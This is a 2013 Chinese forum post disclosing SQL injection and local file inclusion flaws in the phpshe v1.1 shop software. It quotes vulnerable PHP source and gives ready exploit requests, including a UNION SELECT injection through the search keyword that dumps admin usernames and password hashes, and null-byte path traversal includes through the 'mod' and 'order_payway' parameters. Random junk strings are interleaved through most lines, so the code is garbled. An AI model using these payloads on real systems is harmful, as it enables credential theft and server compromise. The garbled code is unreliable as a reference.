找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2188|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
' P2 D: v+ N# C4 R2 x0 M/* Phpshe v1.1 Vulnerability* @8 c! L# Z  w
/* ========================
& o/ {$ }1 T  t& S4 x8 \% D% ]9 m. ~( ^/* By: : Kn1f3" i$ z. e1 e# `5 Z% a" A3 F
/* E-Mail : 681796@qq.com
9 l/ l+ q; o- `; F; m8 `+ D/*******************************************************// I6 X1 {" A" Y$ J' \
0×00 整体大概参数传输
8 g- F$ j/ t1 R0 U( l : p% J2 `$ M( E# w) V

8 n3 A  z# v3 f: Q

, u9 ~$ ^( A( @% G! v. e' T//common.php
6 W' N0 G0 U( x2 qif (get_magic_quotes_gpc()) {8 M4 b  ^: s2 x7 Q; C
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
+ F. o4 O* S7 y. R6 d& [" O8 r/ K!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
5 {3 h# o6 i5 s! M8 b1 \}8 h1 _7 i5 D: _5 |5 N9 i: p
else {
  g6 T# I% v! u% v" t& ~!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');' W( B* k7 o+ E: B6 S" g2 a
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');; |8 J( ?& o7 P% J
}3 Q/ x' d5 p( z" F
session_start();
+ J2 J& ^9 W3 g- D!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
0 m) w& ]. s- r" ^!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
$ x& V# p8 v+ Q, ~4 _
: ?0 n8 a6 K# F" i9 {0 v4 l* Y0 B1 a0×01 包含漏洞
$ p) u' |6 J! M; G1 z  P 7 b7 X  Y- E, k6 o0 E- N4 _

3 D9 T- L9 r7 E2 b& `//首页文件  D8 j5 i, B% x2 h  k% T
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
, R$ Q) A2 x2 pinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
* Z" R" {+ Z8 w+ h7 B4 l0 l+ w) spe_result();/ \+ ]  g$ ~/ Y& K3 `: s0 @9 y
?>
$ D9 n: m: x) U8 }//common 文件 第15行开始, `, I1 E. V( T- \+ J" n
url路由配置
* B+ f  G( a3 b, m$module = $mod = $act = 'index';
5 ]) N" y3 E1 @! ~$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
" [' _9 Y1 i4 \* l, p- K% o$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);5 f5 f& ~2 B9 n$ [  g
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
9 z1 x, `: I- i//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00  K0 v/ E& b9 l+ ~. K

" J* s) N8 p9 n* A

, L, w, B# R& s 0×02 搜索注入# T! \7 x, c0 Q& I) X4 c6 d

! Z% O1 _% M+ h7 e. T! O<code id="code2">

//product.php文件
' k4 m4 I6 K5 M2 Hcase 'list':& Q% i" j$ x% v. d$ V# L8 X
$category_id = intval($id);
8 Q. h/ ?  C# @$info = $db->pe_select('category', array('category_id'=>$category_id));
- i: n1 s8 m& Q3 `: Y//搜索
/ w8 x! n1 B5 B7 @: j$sqlwhere = " and `product_state` = 1";
+ t+ w6 M4 G& e2 `6 `. @  H% ^3 z5 lpe_lead('hook/category.hook.php');) e6 B1 Y3 U8 C; z8 y+ [
if ($category_id) {4 w( @. \+ H" F. c/ }
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";! {7 I" W9 _! J7 B( }/ T, d
}" W. d9 j0 W- d5 c; T4 d$ v  m0 H# V
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤% E3 ^5 F# B5 h" x' ?
if ($_g_orderby) {
4 N0 D* `. V: Z1 F" J$orderby = explode('_', $_g_orderby);
9 F5 {: ]/ X$ E$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
! a" s9 `) v/ y0 t0 H}
! U9 b, t5 h, G3 |4 Felse {
5 B( v3 P5 d8 K4 k2 {: W$sqlwhere .= " order by `product_id` desc";
$ D' ?7 y8 ]$ b# \. o5 }& V}' b3 s( h! A2 }  `4 _
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
. ]1 Z+ @1 ~& ?8 e5 Q: [& H//热卖排行+ ]9 d, c1 T0 g7 R/ v
$product_hotlist = product_hotlist();
& L% H; j% e: m# R1 h//当前路径! }. r6 z$ e% U! h6 ^
$nowpath = category_path($category_id);% G- o9 x6 ?3 N1 w3 H
$seo = pe_seo($info['category_name']);
+ ~/ q& m" E5 r" j3 O- Qinclude(pe_tpl('product_list.html'));
, h$ i# d  N4 ~4 I- F. \7 N% {//跟进selectall函数库3 b" n& o8 N  f% y
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())3 {9 C6 p0 f5 I' ~5 q
{
1 n' X. S. y3 Z//处理条件语句
1 N8 l  U* {& T  V- V7 o8 w$sqlwhere = $this->_dowhere($where);
' _4 w+ q7 A" |return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
: i$ l8 O  l" R, Z/ f& C# a& Q2 _- D: |}6 K. |9 H2 E8 O/ |
//exp
1 M5 y7 R1 T: _5 \( h0 i9 `product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
4 o# ^! ^( _" @* `' t2 p8 P

</code>
2 y" `, N% v; h/ P 0 L8 O2 i3 R7 p* o: a3 [# [$ h
0×03 包含漏洞24 ]% l, p% F. ~
$ l! {$ s, }# o# O
<code id="code3">

//order.php

case 'pay':


+ c! b4 [/ g& I. u( l5 L) @) E$order_id = pe_dbhold($_g_id);

: @2 ?2 {1 x2 k, m6 ], Y
$cache_payway = cache::get('payway');

4 Z" r( G) l5 e9 j: w: e
foreach($cache_payway as $k => $v) {

  w/ A& n' }2 P9 L. n
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


3 u/ g( k: [2 P6 U% zif ($k == 'bank') {


; {4 ^. a0 S$ }$ p# X. o2 @$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


1 G) B( k- m/ G" T1 j8 V& I5 @}

* J# d3 H" N% a; e! f
}

; {& _6 c3 |+ p9 {0 _
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

7 @# N1 v2 G  U2 v! l- K% f
!$order['order_id'] && pe_error('订单号错误...');

8 s8 Y" H% B% j% i
if (isset($_p_pesubmit)) {


+ [) A$ V5 G1 r1 @9 r' F- m' j; qif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


5 ?/ s2 L* W$ D$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

6 L$ [& H- y  j. G  {& s) S5 Z
foreach ($info_list as $v) {

, {) ]7 h' a' d$ {
$order['order_name'] .= "{$v['product_name']};";/ p! [" A! |! G# K# ?& d1 d

. A2 \6 d- D  X  Z
}


! i; r" G/ k9 K% x. _, V# recho '正在为您连接支付网站,请稍后...';

! }& W* T# h+ Z) G2 i
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

( b. f0 U# R$ h6 A( v
}//当一切准备好的时候就可以进行"鸡肋包含了"


# T( B4 e) e  P/ `* N  [else {

* I7 @6 b( Y% |( T! \# E
pe_error('支付错误...');


- j8 T1 }. N, d}

8 D! p9 u1 R2 R" x( [# v9 I; Y
}

+ p: i7 l8 C& a3 E  c3 N( U
$seo = pe_seo('选择支付方式');


5 }6 a5 B- T. |: V& hinclude(pe_tpl('order_pay.html'));

4 E( S" E+ k7 C! g( f9 E- |: l
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
1 ]2 m4 U5 k6 [http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表